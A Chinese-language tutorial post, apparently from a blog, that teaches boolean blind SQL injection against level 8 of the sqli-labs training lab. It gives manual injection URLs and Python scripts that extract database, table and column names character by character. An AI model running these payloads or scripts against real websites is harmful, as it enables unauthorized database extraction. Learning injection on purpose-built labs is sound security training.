連云港網(wǎng)站建設(shè)案例網(wǎng)店運營教學
在sql注入時,使用python腳本可以大大提高注入效率,這里演示一下編寫python腳本實現(xiàn)布爾盲注的基本流程:
演示靶場:sqli-labs
布爾盲注
特點:沒有回顯沒有報錯,但根據(jù)sql語句正常與否返回不同結(jié)果,通過語句是否正常來注入。
靶場:sqli-labs第八關(guān)
手注思路
先簡單講講手工注入時的大概思路,sql語句如下:
?單引號就能閉合,結(jié)果正常時會顯示you are in......,結(jié)果不正常什么都沒有。
?所以我們只需要根據(jù)是否有you are in來判斷注入成功與否,構(gòu)造語句如下:
# 判斷數(shù)據(jù)庫名長度
/?id=1' and length((select database()))=8--+# 挨個判斷數(shù)據(jù)庫名
/?id=1' and ascii(substr((select database()),1,1))=115--+
# 第一位為's'
/?id=1' and ascii(substr((select database()),2,1))=102--+
# 第二位為'e'
...# 判斷表名
/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102--+# 判斷字段名
/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))=102--+# 判斷值
/?id=1' and ascii(substr((select 字段 from 表 limit 1,1),1,1))=1--+
python腳本自動化
可以看到手注需要一個一個試工作量是非常非常巨大的,這時候一個python腳本就可以很好的解放我們的雙手:
需要用到requests包來建立連接訪問目標地址,根據(jù)回顯特征進行下一步操作,這里正確標志是"You are in...":
import requestsrequests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
flag = 'You are in...'
獲取數(shù)據(jù)庫相關(guān)信息:
def GetDBName(url):DBName = ''print("開始獲取數(shù)據(jù)庫名長度...")len = 0for l in range(1,99):payload = f"' and length((select database()))={l}--+"res = conn.get(url=url+payload)if flag in res.content.decode("utf-8"):print("數(shù)據(jù)庫名長度為:"+str(l))len = lbreakprint("開始獲取數(shù)據(jù)庫名...")for i in range(1, len+1):for j in range(33,127):payload = f"' and ascii(substr((select database()),{i},1))={j}--+"res = conn.get(url=url+payload)if flag in res.content.decode("utf-8"):DBName += chr(j)print(DBName)breakreturn DBName
將payload與網(wǎng)址進行拼接,使用requests包來訪問網(wǎng)站,根據(jù)返回頁面是否有flag出現(xiàn)來確認是否成功。運行結(jié)果如下所示:
?接下來就是獲取表、字段以及其中的具體數(shù)據(jù)了,寫下去你會發(fā)現(xiàn)總體流程都是一樣的,以表為例,大致步驟如下:
獲取數(shù)量(有多少張表)--> 獲取每張表表名的長度 --> 獲取具體的表名
代碼如下:
def GetTables(url,db):print("正在獲取數(shù)據(jù)表數(shù)量")tnum = 0t_len = 0tname = ""for i in range(1,50):payload = f"'and (select count(*)table_name from information_schema.tables where table_schema=database())={i}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):tnum = iprint(f"共有{i}張表")breakfor i in range(0,tnum):for n in range(1,50):payload = f"'and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):print(f"第{i+1}張表的長度為{n}")t_len = nbreakfor l in range(1,t_len+1):for j in range(33,127):payload = f"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):tname += chr(j)print(tname)breaktname += ','result_list = tname[:-1].split(",")return result_list
運行結(jié)果像這樣:
?剩下的部分除了payload基本上和獲取表信息一模一樣,可以自己嘗試一下。
完整腳本放在這里了,僅供參考:布爾盲注python腳本資源-CSDN文庫